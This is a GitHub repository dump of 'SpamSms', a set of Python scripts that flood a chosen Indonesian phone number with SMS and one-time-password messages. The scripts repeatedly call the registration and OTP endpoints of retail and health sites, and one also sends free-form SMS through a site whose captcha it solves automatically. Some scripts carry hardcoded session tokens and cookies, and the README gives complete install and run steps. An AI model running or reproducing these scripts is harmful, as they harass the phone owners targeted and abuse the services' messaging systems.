[
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2019 NOOBIE\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# SpamSms\nSpam sms (NEW UPDATE)\n\n# How To Use\n> PYTHON 3.X\n```\napt update && pkg upgrade\napt install python\napt install git\ngit clone https://github.com/KANG-NEWBIE/SpamSms\npip install requests mechanize bs4\ncd SpamSms\npython main.py\n```\n"
  },
  {
    "path": "main.py",
    "content": "import os,time,sys,shutil\r\n\r\nclass Main:\r\n\r\n\tdef __init__(self):\r\n\t\tself.detekos()\r\n\r\n\tdef menu(self):\r\n\t\tprint(\"\"\"\r\n\t\t;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\r\n\t\t;       S P A M  S M S      ;\r\n\t\t;---------------------------;\r\n\t\t;       Author : noobie     ;\r\n\t\t;;;;;;;;;;;;;;;;;;;;;;;;;;;;;\r\n\r\nNOTE: This tool's only work for Indonesia number phone.\r\n\r\n1. SMS Gratis\r\n2. OTP Matahari\r\n3. OTP Hallodok\r\n4. OTP Olx.co.id\r\n5. OTP Sociolla.com\r\n\"\"\")\r\n\t\tpilih=int(input('noobie/> '))\r\n\t\tif pilih == 1:\r\n\t\t\timport src.payu\r\n\t\telif pilih == 2:\r\n\t\t\timport src.matahari\r\n\t\telif pilih == 3:\r\n\t\t\timport src.alodok\r\n\t\telif pilih == 4:\r\n\t\t\timport src.olx\r\n\t\telif pilih == 5:\r\n\t\t\timport src.socil\r\n\t\telse: print(\"[!] lihat menu dong(o)\");self.menu()\r\n\r\n\tdef detekos(self):\r\n\t\t#remove cache\r\n\t\ttry:\r\n\t\t\tshutil.rmtree(\"src/__pycache__\")\r\n\t\texcept: pass\r\n\r\n\t\tif os.name in ['nt','win32']:\r\n\t\t\tos.system('cls')\r\n\t\telse: os.system('clear')\r\n\t\tself.menu()\r\n\r\ntry:\r\n\tMain()\r\nexcept KeyboardInterrupt:\r\n\texit('[Exit] Key interrupt')\r\nexcept Exception as F:\r\n\tprint('Err: %s'%(F))\r\n"
  },
  {
    "path": "src/alodok.py",
    "content": "import requests, time\n\nprint(\"\"\"\n\t[ HALLODOK OTP ]\n\t    -noobie-\n\"\"\")\n\nnum=input(\"[In] Nomor: \")\njum=int(input(\"[In] Jumlah: \"))\n\nprint(\"\\n[RESULT]\")\nfor x in range(jum):\n\ttry:\n\t\treq=requests.post(\"https://nuubi.herokuapp.com/api/spam/alodok\",\n\t\t\tdata={\"number\":num})\n\t\tif req.json()['status'] == 'ok':\n\t\t\tprint(f\"{x+1}. Berhasil {num}\")\n\t\telse:\n\t\t\tprint(f\"{x+1}. Gagal {num}\")\n\texcept Exception as e:\n\t\tprint(f\"{x+1}. Pass: {e}\")\n"
  },
  {
    "path": "src/matahari.py",
    "content": "import requests,time\n\nprint(\"\"\"\n\t[ MATAHARI MALL OTP ]\n\t   -Asecx | noobie-\n\"\"\")\n\nno = input('ex : 08xx\\n[In] Phone: ')\njml = int(input('[In] Jumlah: '))\n\nheder = {'Host': 'thor.matahari.com',\n           'content-length': '230',\n           'modulecode': 'MR',\n           'origin': 'https://www.matahari.com',\n           'authorization': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJtb2R1bGVDb2RlIjoiTVIiLCJ1c2VyVHlwZSI6IjEiLCJleHAiOjE1NDM2NjA5MDYsInVzZXJOYW1lIjoiS0Zpb2ViMWhveU9FRDBERWQiLCJ1c2VySWQiOiJwcm9kdWN0aW9uNDYxOTAyNjQ0NSIsImp0aSI6IjFmMjI3NzE5LTY4OTMtNDhjYy1iNmQzLWY2OTkzMWMzMDIwYSIsImlhdCI6MTU0MzY1NzMwNn0.6XdrUX9QzD0Ld2eOJep7QnSwVjfFyjq-v7P4w0lGG9M',\n           'content-type': 'application/json',\n           'accept': 'application/json, text/plain, */*',\n           'clientid': 'mds_mweb',\n           'user-agent': 'Mozilla/5.0 (Linux; Android 8.1.0; Redmi 5A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.99 Mobile Safari/537.36',\n           'sessionid': '1595084426451',\n           'save-data': 'on',\n           'referer': 'https://www.matahari.com/register',\n           'accept-encoding': 'gzip, deflate, br',\n           'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7,ms;q=0.6'}\n\ndata = {'emailAddress': 'noobie@mail.com',\n           'firstName': 'Noobie',\n           'lastName': 'Gans',\n           'mobileNumber': no,\n           'mccCardNumber': '',\n           'password': 'asecc123',\n           'referralCode': '',\n           'dateOfBirth': '09-05-1993',\n           'gender': 'Male',\n           'registrationType': 'N'}\n\nprint(\"\\n[RESULT]\")\nfor i in range(jml):\n      sec = requests.post('https://thor.matahari.com/MatahariMobileAPI/register', headers=heder, json=data)\n      if 'eror' in sec.text:\n           print(f'{i+1}. Gagal {no}')\n      else:\n           print(f'{i+1}. Berhasil {no}')\n      time.sleep(1.5)\n"
  },
  {
    "path": "src/olx.py",
    "content": "import requests, time\n\nprint(\"\"\"\n\t[ olx.co.id OTP ]\n\t   - noobie -\n\"\"\")\n\nnum=input(\"[In] Number: \")\njum=int(input(\"[In] Jumlah: \"))\n\nif num[0] == \"0\":\n\tnum=num[1:]\nelif num[0:2] == \"62\":\n\tnum=num[2:]\n\nprint(\"\\n[RESULT]\")\nfor x in range(jum):\n\treq=requests.post(\"https://www.olx.co.id/api/auth/authenticate\", json={\"grantType\":\"phone\",\"phone\":f\"+62{num}\",\"language\":\"id\"}).json()\n\tif req['status'] == 'PENDING':\n\t\tprint(f\"{x+1}. Berhasil {num}\")\n\telse:\n\t\tprint(f\"{x+1}. Gagal {num}\")\n\ttime.sleep(1.5)\n"
  },
  {
    "path": "src/payu.py",
    "content": "import mechanize,time,os\r\nfrom bs4 import BeautifulSoup as BS\r\n\r\nclass Payu:\r\n\tdef __init__(self):\r\n\t\t#install browser\r\n\t\tself.br = mechanize.Browser()\r\n\t\tself.br.set_handle_equiv(True)\r\n\t\tself.br.set_handle_gzip(True)\r\n\t\tself.br.set_handle_redirect(True)\r\n\t\tself.br.set_handle_referer(True)\r\n\t\tself.br.set_handle_robots(False)\r\n\t\tself.br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)\r\n\t\tself.br.addheaders =[('Connection','keep-alive'),\r\n\t\t('Pragma','no-cache'),\r\n\t\t('Cache-Control','no-cache'),\r\n\t\t('Origin','http://sms.payuterus.biz'),\r\n\t\t('Upgrade-Insecure-Requests','1'),\r\n\t\t('Content-Type','application/x-www-form-urlencoded'),\r\n\t\t('User-Agent','Opera/9.80 (Android; Opera Mini/8.0.1807/36.1609; U; en) Presto/2.12.423 Version/12.16'),\r\n\t\t('Accept','text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3'),\r\n\t\t('Referer','http://sms.payuterus.biz/alpha/'),\r\n\t\t('Accept-Encoding','gzip, deflate'),\r\n\t\t('Accept-Language','id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'),\r\n\t\t('Cookie','_ga=GA1.2.131924726.1560439960; PHPSESSID=jjrqqaakmfcgfgbtjt8tve5595; _gid=GA1.2.1969561921.1561024035; _gat=1')\r\n\t\t]\r\n\t\tself.u='http://sms.payuterus.biz/alpha/'\r\n\t\tself.banner()\r\n\r\n\tdef banner(self):\r\n#\t\tos.system('clear')\r\n\t\tprint(\"\"\"\r\n\t\t;;;;;;;;;;;;;;;;;;;;;;;;\r\n\t\t; SMS Gratis PayuTerus ;\r\n\t\t;      - noobie -      ;\r\n\t\t;;;;;;;;;;;;;;;;;;;;;;;;\r\n\t\t\"\"\")\r\n\t\tno=input('[?] Nomor Target: ')\r\n\t\tpsn=input('[info] ketik \"\\\\n\" untuk garis baru pada pesan\\n[?] Pesan: ')\r\n\t\tself.main(no,psn)\r\n\r\n\tdef main(self,no,msg):\r\n\t\to=[]\r\n\t\tbs=BS(self.br.open(self.u),features=\"html.parser\")\r\n\t\tfor x in bs.find_all(\"span\"):\r\n\t\t\to.append(x.text)\r\n\t\tcapt=int(str(o)[2])+int(str(o)[6])\r\n\t\tself.br.select_form(nr=0)\r\n\t\tself.br.form['nohp']=no\r\n\t\tself.br.form['pesan']=msg\r\n\t\tself.br.form['captcha']=str(capt)\r\n\t\tsub=self.br.submit().read()\r\n\t\tif 'SMS Gratis Telah Dikirim' in str(sub):\r\n\t\t\tprint('[+] Sukses mengirim sms ke',no)\r\n\t\telif 'Mohon Tunggu' in str(sub):\r\n\t\t\tprint('[!] Tunggu beberapa saat untuk mengirim sms yang sama')\r\n\t\telse:\r\n\t\t\tprint('[-] Gagal mengirim sms ke',no)\r\n\r\ntry:\r\n\tPayu()\r\n\twhile True:\r\n\t\tplh=input(\"\\n[?] coba lagi (y/n) \")\r\n\t\tif plh.lower() == 'y':\r\n\t\t\tPayu()\r\n\t\telif plh.lower() == 'n':\r\n\t\t\texit('sampai jumpa lagi...')\r\nexcept KeyboardInterrupt:\r\n\tprint('\\nErr: KeyboardInterrupt')\r\nexcept Exception as E:\r\n\tprint(f'Err: {E}')\r\n"
  },
  {
    "path": "src/socil.py",
    "content": "import requests, time\nfrom random import randrange as rg\n\nprint(\"\"\"\n\t[ SOCIOLLA OTP ]\n\t   - noobie -\n\"\"\")\n\nnum=input(\"[In] Number: \")\njum=int(input(\"[In] Jumlah: \"))\n\nif num[0] == \"0\":\n        num=num[1:]\nelif num[0:2] == \"62\":\n        num=num[2:]\n\nheadreg={\n    \"Host\": \"soco-api.sociolla.com\",\n    \"Connection\": \"keep-alive\",\n    \"Sec-Fetch-Mode\": \"cors\",\n    \"Origin\": \"https://www.sociolla.com\",\n    \"User-Agent\": \"Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.116 Mobile Safari/537.36 EdgA/45.06.4.5042\",\n    \"Content-Type\": \"application/json;charset\\u003dUTF-8\",\n    \"Accept\": \"application/json, text/plain, */*\",\n    \"session_id\": \"c970c955-79d1-45fd-840c-9082650a7a89\",\n    \"SOC-PLATFORM\": \"sociolla-web-mobile\",\n    \"Sec-Fetch-Site\": \"same-site\",\n    \"Referer\": \"https://www.sociolla.com/\",\n    \"Accept-Encoding\": \"gzip, deflate, br\",\n    \"Accept-Language\": \"id-ID,id;q\\u003d0.9,en-US;q\\u003d0.8,en;q\\u003d0.7\",\n    }\n\nses=requests.Session()\nreg=ses.post(\"https://soco-api.sociolla.com/auth/register\",\n\tjson={\"acquisition_source\":\"sociolla-web-mobile\",\n\t\t\"email\":f\"noobie{rg(9999)}@mail.com\",\n\t\t\"user_name\":f\"noobiegans{rg(9999)}\",\n\t\t\"password\":f\"noobie{rg(9999)}\",\n\t\t\"first_name\":f\"Noobie{rg(999)}\",\n\t\t\"last_name\":f\"Gans{rg(999)}\",\n\t\t\"gender\":\"Male\",\n\t\t\"salute\":\"Mr\",\n\t\t\"phone_no\":num},\n\theaders=headreg)\n\ntoken=reg.json()['data']['token']\n\nheadotp={\n    \"Host\": \"soco-api.sociolla.com\",\n    \"Connection\": \"keep-alive\",\n    \"Sec-Fetch-Mode\": \"cors\",\n    \"Origin\": \"https://www.sociolla.com\",\n    \"Authorization\": f\"Bearer {token}\",\n    \"Content-Type\": \"application/json;charset\\u003dUTF-8\",\n    \"Accept\": \"application/json, text/plain, */*\",\n    \"session_id\": \"c970c955-79d1-45fd-840c-9082650a7a89\",\n    \"SOC-PLATFORM\": \"sociolla-web-mobile\",\n    \"User-Agent\": \"Mozilla/5.0 (Linux; Android 7.0; Redmi Note 4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.116 Mobile Safari/537.36 EdgA/45.06.4.5042\",\n    \"Sec-Fetch-Site\": \"same-site\",\n    \"Referer\": \"https://www.sociolla.com/\",\n    \"Accept-Encoding\": \"gzip, deflate, br\",\n    \"Accept-Language\": \"id-ID,id;q\\u003d0.9,en-US;q\\u003d0.8,en;q\\u003d0.7\",\n    }\n\nprint(\"\\n[RESULT]\")\nfor x in range(jum):\n\trotp=ses.post(\"https://soco-api.sociolla.com/auth/otp/code\",\n\t\tjson={\"mode\":\"sms\",\"entity\":\"phone_no\"},\n\t\theaders=headotp).json()\n#\tprint(rotp)\n\tif rotp[\"success\"] == True:\n\t\tprint(f\"{x+1}. Berhasil {num}\")\n\t\tfor i in range(31):\n\t\t\tprint(end=f\"\\r>> Sleep {30-i}s <<\", flush=True)\n\t\t\ttime.sleep(1)\n\t\tprint()\n\telse:\n\t\tprint(f\"{x+1}. Gagal {num}\")\n\t\tfor i in range(31):\n\t\t\tprint(end=f\"\\r>> Sleep {30-i}s <<\", flush=True)\n\t\t\ttime.sleep(1)\n\t\tprint()\n"
  }
]